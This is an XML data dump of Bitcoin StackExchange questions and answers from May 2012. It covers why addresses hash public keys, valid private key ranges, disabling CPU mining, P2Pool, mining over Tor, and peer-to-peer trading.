  <row Id="3600" PostTypeId="1" AcceptedAnswerId="3602" CreationDate="2012-05-08T15:06:51.780" Score="35" ViewCount="9490" Body="&lt;p&gt;Currently, Bitcoin addresses and their checksums are &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot;&gt;constructed&lt;/a&gt; from the public key by a using repeated hashing with SHA256 and RIPEMD160. Now I understand the reasoning behind using hashing for constructing the checksum, but why wasn't just the original public key with a checksum added used? Is it just because of the shorter addresses or are there other privacy/security implications of using hashes of public keys instead of just public keys?&lt;/p&gt;&#xA;" OwnerUserId="160" LastEditorUserId="3684" LastEditDate="2013-11-19T21:52:18.820" LastActivityDate="2020-01-06T06:56:24.020" Title="Why are Bitcoin addresses hashes of public keys?" Tags="|address|hash|sha256|ripemd160|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3602" PostTypeId="2" ParentId="3600" CreationDate="2012-05-08T15:36:11.337" Score="32" Body="&lt;p&gt;It's just to get shorter addresses. Regular public keys are 65 bytes long, which is much too long to be convenient. Compressed public keys are 33 bytes and could potentially be used instead of hashes, though these are a little longer than 20-byte hashes. It also seems likely that Satoshi didn't know about compressed public keys or wasn't comfortable with using them when he designed Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hashes seem to help against certain attacks (some attacks against ECDSA, for example), though they also open up the possibility of other attacks (such as attacks against RIPEMD-160). It's not clear to me that they do improve security overall.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-05-08T15:36:11.337" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3603" PostTypeId="2" ParentId="3469" CreationDate="2012-05-08T18:01:29.003" Score="2" Body="&lt;p&gt;It has now been &lt;a href=&quot;https://bitcointalk.org/index.php?topic=79825.0&quot; rel=&quot;nofollow&quot;&gt;confirmed by ngzhang&lt;/a&gt; that BFL is using Altera Stratix III EP3SL150 FPGAs in their singles. Since Altera has made &lt;a href=&quot;http://www.altera.com/literature/rr/rr.pdf&quot; rel=&quot;nofollow&quot;&gt;product reliability data&lt;/a&gt; available, we now at least have the appropriate info available for the chips themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EP3SL150 testing gives it a FIT rating of 15.1 which corresponds to roughly one failure per 66,226,166 hours or ~7,555 years. I don't think we need to worry about the FPGA being the point of failure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, we have precisely zero data about the other parts or failure rates thereof nor do we know how often BFL messes up on their soldering, power supplies or any of the other links in the chain that could contribute to the overall failure rate of the BFL single. I did, however, email BFL and recently received this email from Nasser G at BFL:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Dear David,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;No Failure data is available. So far, none of our units have failed,&#xA;  and all units go under strict quality control measures before they are&#xA;  shipped. We've had like 4 or 5 PSU failures among all the units that&#xA;  we've shipped.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of course this is from BFL's mouth so whether it's entirely true or just marketing I can't say with certainty. Lacking data on the overall number of units sold or how long those units have been running (though we could estimate that as 24/7 since they've arrived if we had the other data) it's very difficult to estimate failure data based on BFL's comments, even if we assume them to be completely accurate.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-05-08T18:01:29.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3604" PostTypeId="2" ParentId="3589" CreationDate="2012-05-08T20:26:53.423" Score="4" Body="&lt;p&gt;I found those really reasonable papers, wish it will help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sites.google.com/site/2ndbtcwpaper/2ndBitcoinWhitepaper.pdf&quot; rel=&quot;nofollow&quot;&gt;https://sites.google.com/site/2ndbtcwpaper/2ndBitcoinWhitepaper.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reid, F., &amp;amp; Harrigan, M. (2011). An Analysis of Anonymity in the Bitcoin System. Network, 1318-1326.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Laurie, B. (2011). Decentralised Currencies Are Probably Impossible But Let ’ s At Least Make Them Efficient, 0100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also doing my master degree to adapt Bitcoin in CO2 trading,security and privacy are my main focus in that perspective&lt;/p&gt;&#xA;" OwnerUserId="1347" LastActivityDate="2012-05-08T20:26:53.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3605" PostTypeId="1" AcceptedAnswerId="3606" CreationDate="2012-05-08T21:54:12.647" Score="5" ViewCount="1222" Body="&lt;p&gt;I just recently upgraded from Bitcoin client 0.3.? to 0.6.1-beta for Mac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the old version I had the option of generating coins; I don't see that option here.  Activity Monitor shows Bitcoin-Qt consistently using &gt;95% CPU.  As I understand it, CPU mining is essentially useless, so I'd like to turn it off, but still have the option to receive coins if I'm paid by someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2012-05-12T00:49:04.147" Title="turn OFF coin generation" Tags="|client|bitcoin-core|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3606" PostTypeId="2" ParentId="3605" CreationDate="2012-05-08T22:04:35.937" Score="5" Body="&lt;p&gt;As far as I know the option is off by default in the new versions. To make sure you can add a line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gen=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot;&gt;bitcoin.conf&lt;/a&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-08T22:04:35.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3607" PostTypeId="1" CreationDate="2012-05-09T11:09:09.200" Score="7" ViewCount="341" Body="&lt;p&gt;I'm considering making a service that would be handling user deposits in Bitcoins through a server running bitcoind. Upon purchasing something through the service, I want to withdraw the precise amount of Bitcoins out of the account associated with the user along with a commission proportional to the amount of coins spent. As Bitcoin charges a fee for each Transaction depending on its size, it can vary between Transactions. I don't think there is a way of predicting how much will be charged exactly before the Transaction is executed, so it makes it hard for me to tell the user exactly how much they will be charged, or lower the commission to take into account the fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I go about doing precise accounting with bitcoind?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="1878" LastEditDate="2013-03-19T14:42:25.490" LastActivityDate="2013-03-19T14:42:25.490" Title="How to do precise accounting with bitcoind?" Tags="|transactions|bitcoind|services|transaction-fees|accounting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3608" PostTypeId="1" AcceptedAnswerId="3620" CreationDate="2012-05-09T14:47:52.167" Score="5" ViewCount="8086" Body="&lt;p&gt;Is it possible to mine Bitcoins at a pool through the TOR network? If so, how would one configure the appropriate tools?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2016-03-09T23:14:45.423" LastActivityDate="2017-12-20T22:56:10.243" Title="Pool mining through the TOR network?" Tags="|mining-pools|tor|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3609" PostTypeId="1" AcceptedAnswerId="3610" CreationDate="2012-05-09T15:09:56.730" Score="7" ViewCount="4582" Body="&lt;p&gt;Is it possible to map a pass-phrase directly to a Bitcoin private key by using its SHA256 hash? I remember reading somewhere that not all 256 bit values are valid ECDSA private keys. If so, how can I make sure that the resulting hash is valid, or is there some other canonical way of mapping a pass-phrase to a private key?&lt;/p&gt;&#xA;" OwnerUserId="160" LastEditorUserId="160" LastEditDate="2012-05-09T19:13:10.120" LastActivityDate="2012-05-09T19:13:10.120" Title="Can an SHA256 hash be used as an ECDSA private key?" Tags="|hash|private-key|sha256|passphrase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3610" PostTypeId="2" ParentId="3609" CreationDate="2012-05-09T15:29:01.127" Score="4" Body="&lt;p&gt;While the question isn't an exact duplicate, the answer essentially is, so I'm going to quote &lt;a href=&quot;https://bitcoin.stackexchange.com/a/1715/22&quot;&gt;this answer&lt;/a&gt; by &lt;a href=&quot;https://bitcoin.stackexchange.com/users/208/pieter-wuille&quot;&gt;Pieter Wuille&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As is normal when doing Elliptic Curve encryption, a private key is&#xA;  simply a random number. In the case of secp256k1, the elliptic curve&#xA;  used by Bitcoin, it has to be a number between 1 and&#xA;  115792089210356248762697446949407573529996955224135760342422259061068512044368&#xA;  (or in hexadecimal, between 1 and&#xA;  FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This private key is converted to a public key by performing an EC&#xA;  point multiplication with the curve's base point. The result is an&#xA;  (x,y) coordinate pair, which constitutes the public key.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Finally, RIPEMD160(SHA256(pubkey)), where pubkey is a serialization of&#xA;  those coordinates, is computed, and encoded in base58, together with a&#xA;  checksum. This becomes the address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So the short answer is yes, as long as the resulting hash is less than or equal to FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551 any SHA256 hash is an acceptable privkey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for a canonical method of mapping a passphrase to a privkey, I don't believe there is one - after all, this functionality isn't built into the Satoshi client (at least not yet) so there cannot, by definition, be a canonical method. The closest thing I can think of would be the &lt;a href=&quot;https://en.bitcoin.it/wiki/Mini_private_key_format&quot; rel=&quot;nofollow noreferrer&quot;&gt;mini private key format&lt;/a&gt; used by Casascius physical bitcoins, which could easily be used with a passphrase instead. Indeed Casascius' &lt;a href=&quot;https://github.com/casascius/Bitcoin-Address-Utility&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Address Utility&lt;/a&gt; is often the app of choice for those wishing to make &quot;mental wallets&quot; from memorized passphrases rather than random inputs.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2012-05-09T15:29:01.127" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3611" PostTypeId="2" ParentId="3607" CreationDate="2012-05-09T19:36:03.797" Score="2" Body="&lt;p&gt;That feature has been requested but is not implemented in the Bitcoin.org client:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/283&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/283&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Armory may be getting this feature.  See discussion in the README:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory#readme&quot; rel=&quot;nofollow&quot;&gt;https://github.com/etotheipi/BitcoinArmory#readme&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-09T19:36:03.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3612" PostTypeId="1" AcceptedAnswerId="3613" CreationDate="2012-05-09T20:27:21.627" Score="7" ViewCount="3085" Body="&lt;p&gt;Are there any online or open source (i.e., free, or at least cheap) accounting systems that do multi-currency so that I can record revenues and payments made using BTCs in the same system that I use for USDs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, are there any suggestions for how best to do this?&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2021-04-08T16:58:20.363" Title="Any multi-currency accounting ledger that lets me use BTC?" Tags="|taxes|accounting|merchants|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3613" PostTypeId="2" ParentId="3612" CreationDate="2012-05-09T20:49:39.430" Score="6" Body="&lt;p&gt;Just found Kashoo.  Freemium, or $10/month.  Haven't used it yet though.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.kashoo.com&quot; rel=&quot;nofollow&quot;&gt;http://www.kashoo.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, what might work, Aqilla:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.aqilla.com/multi-currency-ledger&quot; rel=&quot;nofollow&quot;&gt;http://www.aqilla.com/multi-currency-ledger&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Infinity PFM (Personal Finance Manager) can read transactions from the Bitcoin.org client:&#xA; - &lt;a href=&quot;http://launchpad.net/infinitypfm&quot; rel=&quot;nofollow&quot;&gt;http://launchpad.net/infinitypfm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ledger:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ledger-cli.org&quot; rel=&quot;nofollow&quot;&gt;http://www.ledger-cli.org&lt;/a&gt;  &amp;lt;-- Command line only, no GUI.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/155gw5&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/155gw5&lt;/a&gt;   &amp;lt;--- Writeup &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-12-20T08:49:26.067" LastActivityDate="2012-12-20T08:49:26.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3614" PostTypeId="1" AcceptedAnswerId="3914" CreationDate="2012-05-09T21:54:30.980" Score="11" ViewCount="4514" Body="&lt;p&gt;I was to trade Bitcoins for PayPal quite frequently and I know that PayPal doesn't allow Bitcoin exchanges to accept PayPal payments.&#xA;But there should exist a person-to-person trading site that works like a forum and where people choose how to pay each other, no?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about bitcoin-otc, but I'd prefer a forum-like concept better instead of IRC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="37414" LastEditDate="2018-05-08T09:53:40.190" LastActivityDate="2018-05-08T09:53:40.190" Title="Is there a forum-like exchange for trading Bitcoins person-to-person?" Tags="|exchanges|trading|paypal|otc|" AnswerCount="9" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3615" PostTypeId="2" ParentId="3576" CreationDate="2012-05-10T00:48:38.657" Score="0" Body="&lt;p&gt;This was a big one that probably didnt start it, but fueled it and kept it going, &lt;a href=&quot;http://falkvinge.net/2011/05/29/why-im-putting-all-my-savings-into-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://falkvinge.net/2011/05/29/why-im-putting-all-my-savings-into-bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2012-05-10T00:48:38.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3616" PostTypeId="1" CreationDate="2012-05-10T11:45:29.937" Score="14" ViewCount="1502" Body="&lt;p&gt;Some pools use a modified bitcoind that uses different rules for choosing the transactions to include in a block. Are there any pools that knowing one transaction to be included in a block would discard it if another transaction on the same inputs would arrive with a higher fee? That is to say, when faced with a double spend attack between a transaction that arrived earlier and a transaction that pays them more, the pool would choose the latter?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2014-09-14T20:07:04.867" LastActivityDate="2014-09-14T20:07:04.867" Title="Does any pool accept higher-fee transactions of a double spend, instead of the earlier one?" Tags="|transactions|mining-pools|security|doublespend|weaknesses|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3617" PostTypeId="1" CreationDate="2012-05-10T12:10:53.123" Score="9" ViewCount="3502" Body="&lt;p&gt;Is there a list containing the IPs of Bitcoin nodes owned by various mining pools?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2014-09-03T11:34:27.860" LastActivityDate="2014-09-03T11:34:27.860" Title="Is there a list of mining pools' Bitcoin nodes IPs?" Tags="|bitcoind|mining-pools|nodes|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3619" PostTypeId="2" ParentId="3614" CreationDate="2012-05-10T12:44:19.040" Score="4" Body="&lt;p&gt;You can trade Bitcoins for PayPal on #bitcoin-otc on FreeNode IRC, just make sure you deal with people with a good reputation, and that you use the rating system correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin-otc.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin-otc.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1351" LastActivityDate="2012-05-10T12:44:19.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3620" PostTypeId="2" ParentId="3608" CreationDate="2012-05-10T12:48:08.910" Score="2" Body="&lt;p&gt;You could mine over TOR, but I would expect you would get much higher stales &amp;amp; downtime due to the high latencies of the TOR network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the application ProxyChains to force any application on your computer to use a proxy (or a combination of proxies), simply add a new proxy to ProxyChains, 127.0.0.1 as IP and your TOR software's port as port, and then setup Proxychains to force your mining application to use that proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://proxychains.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;http://proxychains.sourceforge.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1351" LastEditorUserId="12625" LastEditDate="2014-01-31T01:45:03.400" LastActivityDate="2014-01-31T01:45:03.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3621" PostTypeId="1" AcceptedAnswerId="3625" CreationDate="2012-05-10T14:08:57.883" Score="6" ViewCount="795" Body="&lt;p&gt;How do mining pools figure out the hashing speed of the miners connected to it?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-15T09:31:57.483" LastActivityDate="2016-03-15T09:31:57.483" Title="How do mining pools figure out the hashing speed of the connected miners?" Tags="|mining-pools|hashpower|mining-pool-shares|pool-payout-methods|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3622" PostTypeId="1" AcceptedAnswerId="3623" CreationDate="2012-05-10T14:11:03.373" Score="3" ViewCount="461" Body="&lt;p&gt;Which mining pools use custom mining software? Do those pools require the users to use their software, or just encourage their users?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:18:42.880" LastActivityDate="2016-03-31T10:18:42.880" Title="Which mining pools use custom mining software?" Tags="|mining-pools|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3623" PostTypeId="2" ParentId="3622" CreationDate="2012-05-10T14:17:34.353" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://bitminter.com&quot; rel=&quot;nofollow&quot;&gt;BitMinter&lt;/a&gt; offers its own mining software, but also gives the option of using other programs by connecting to mint.bitminter.com:8332 .&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-10T14:17:34.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3624" PostTypeId="1" AcceptedAnswerId="3639" CreationDate="2012-05-10T15:00:41.013" Score="4" ViewCount="2400" Body="&lt;p&gt;Has any measured the relative performance of various mining software? I figure such a study would be very beneficial for all the miners to choose the most optimal software out there to squeeze out the most bang for their buck.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:29:16.037" LastActivityDate="2016-03-31T10:29:16.037" Title="Relative performance of various mining software?" Tags="|mining-software|testing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3625" PostTypeId="2" ParentId="3621" CreationDate="2012-05-10T15:38:06.140" Score="5" Body="&lt;p&gt;Since pools only receive successfully calculated shares they must approximate your actual hashrate based on the number of shares submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming we're talking about difficulty 1 shares, you should be able to approximate hashrate via &lt;code&gt;H = S * 2^32 / T&lt;/code&gt; where &lt;code&gt;H = hashrate&lt;/code&gt;, &lt;code&gt;S = shares submitted&lt;/code&gt; and &lt;code&gt;T = time in seconds&lt;/code&gt;. Your estimate will be more accurate for larger values of T.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It takes approximately 2^32 hashes to find a share and each share has a 1/D (D = difficulty) chance of correctly solving the block. From that, with some simple math, you should be able to calculate almost every important thing about mining.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-05-10T15:38:06.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3626" PostTypeId="1" CreationDate="2012-05-10T21:36:47.437" Score="14" ViewCount="7801" Body="&lt;p&gt;As I was checking this SE, it doesn't appear this important question has been asked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the P2Pool? How does differ from the traditional approach and what does it offer its users?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-02-15T18:00:01.010" LastActivityDate="2016-02-15T18:00:01.010" Title="What is the P2Pool?" Tags="|mining-pools|p2pool|decentralization|pool-payout-methods|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3627" PostTypeId="2" ParentId="3626" CreationDate="2012-05-10T22:58:20.240" Score="19" Body="&lt;p&gt;P2Pool is a distributed bitcoin mining pool.  First, consider checking out the &lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot;&gt;P2Pool Wiki&lt;/a&gt; for the latest information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it would help to briefly explain it in terms of differences between p2pool, traditional pools, and solo mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solo Mining&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you solo mine bitcoins, you have control of all aspects of mining.  You decide which transactions get included in your block and you decide where the block reward goes (usually you decide to send it to one of your own addresses).  However, unless you have a very large mining operation, you'll be highly affected by variance.  For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At a the current difficulty (1733207), the average time for a 5 GH/s miner to find a block is just over 2 weeks.  And it is not uncommon for you to take 3-4x longer than the average occasionally when you are unlucky.  As a result, you can go long stretches without earning anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Traditional Pooled Mining&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve the problem of high variance, the mining pools were created.  In a traditional mining pool, many people all agree to combine their mining efforts and split the rewards according to their contributions.  A sufficiently large pool may then have enough combined mining power that their average time to find a block may only be a couple hours instead of a couple weeks.  As each block is found the block reward is distributed between the pool's miners.  Each miner then gets smaller payments more regularly instead of one large 50 BTC payment every few weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a traditional pool, the pool operator sets up a website that miners connect to to receive mining work at a much lower difficulty so that each miner will find a valid solution every few seconds.  These easy solutions, or &quot;shares&quot; are counted and rewards are distributed based on the proportion of shares that each miner found using one of several reward schemes.  In the traditional pool, the pool operator is the one who decides what transactions go into each block and how the rewards are distributed.  Typically, the pool sends all rewards to itself and then pays miners out of the pool's funds periodically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P2Pool&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P2Pool is sort of a cross between these two worlds.  Like solo mining, p2pool miners are creating their own blocks and choosing which transactions go into blocks.  Like pooled mining, rewards are shared between everyone who is part of the pool.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With p2pool, each miner runs a p2pool node and these nodes form a peer to peer network amongst themselves similar to how bitcoin, itself, does.  Participants then connect their mining software to their local p2pool node and is given low difficulty work just as with a traditional pool.  As each share is found, it is communicated to other miners on the p2pool p2p network so that all nodes are aware of who is contributing to the collective mining effort and in what capacity.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each share also includes the reward transaction that will be used in the event that a share ends up being a valid block.  That reward transaction includes directly payments to all of the recent contributors to the p2pool network.  So as blocks are found, contributors directly receive their payment just as they would have with solo mining.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To ensure that everyone is playing fair, shares are assembled into a share chain in the same way that bitcoin blocks are assembled into a block chain.  Each share that someone finds builds on all of the previous shares. All miners that are following the same set of established rules end up creating shares that other miners are willing to include in the share chain.  Miners that don't follow the rules end up creating shares that get excluded from the main share chain and so they don't get paid when blocks are found by the other miners.  In order to make it practical for nodes to be  constantly passing shares around the  p2p network, the share difficulty is tuned so that shares are only found 1 every 10 seconds across the entire p2pool network.  The result is higher variance than at a traditional pool, but still much less variance than with solo mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, the benefits over a traditional pool include...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Miners get paid directly and so do not have to trust a pool operator to eventually pay them.&lt;/li&gt;&#xA;&lt;li&gt;Miners get to choose their own transactions.&lt;/li&gt;&#xA;&lt;li&gt;There is no single person that has centralized control of the pool that can abuse the power of the combined mining capacity of the pool.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The drawbacks are higher variance than at traditional pools (particularly for small miners), and extra complexity in initial setup because miners have to install and configure bitcoin and the p2pool software in addition to their mining software.&lt;/p&gt;&#xA;" OwnerUserId="326" LastEditorUserId="659" LastEditDate="2012-05-11T17:04:31.193" LastActivityDate="2012-05-11T17:04:31.193" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3628" PostTypeId="1" CreationDate="2012-05-10T23:05:08.840" Score="4" ViewCount="123" Body="&lt;p&gt;What mechanisms does &lt;a href=&quot;http://wiki.bitcoin-otc.com/wiki/OTC_Rating_System&quot; rel=&quot;nofollow&quot;&gt;OTC web of trust&lt;/a&gt; have against someone creating several accounts and trading between with themselves over a period of time, giving each other perfect ratings. &lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2012-05-11T00:26:28.533" Title="What stops someone from faking a rating on OTC web of trust?" Tags="|exchanges|otc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3629" PostTypeId="1" AcceptedAnswerId="3632" CreationDate="2012-05-10T23:46:43.950" Score="8" ViewCount="2492" Body="&lt;p&gt;What is the story behind the &quot;Linode problem&quot;? How did the service become compromised and what has exactly happened because of it?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-03-14T21:13:53.597" Title="What is the story behind the &quot;Linode problem&quot;?" Tags="|security|attack|history|linode|theft|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3630" PostTypeId="1" CreationDate="2012-05-11T00:01:04.823" Score="2" ViewCount="420" Body="&lt;p&gt;Since Slush took quite a hit due to the hacked Linode servers, I'm wondering how do mining pools protect their wallets from theft of file and theft of private keys in those files?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-11T12:58:12.187" Title="How do mining pools protect their wallets?" Tags="|security|wallet|mining-pools|data-security|linode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3631" PostTypeId="2" ParentId="3628" CreationDate="2012-05-11T00:26:28.533" Score="4" Body="&lt;p&gt;The global ratings are fairly easy to manipulate as you describe, and it has been done before. There is some minor protection provided by the requirement that you need a positive OTC rating to rate anyone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;#bitcoin-otc also supports &quot;trust rating&quot; (&lt;a href=&quot;http://serajewelks.bitcoin-otc.com/trustgraph.php?source=theymos&amp;amp;dest=Keefe&quot; rel=&quot;nofollow&quot;&gt;example&lt;/a&gt;) which can't be easily manipulated.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-05-11T00:26:28.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
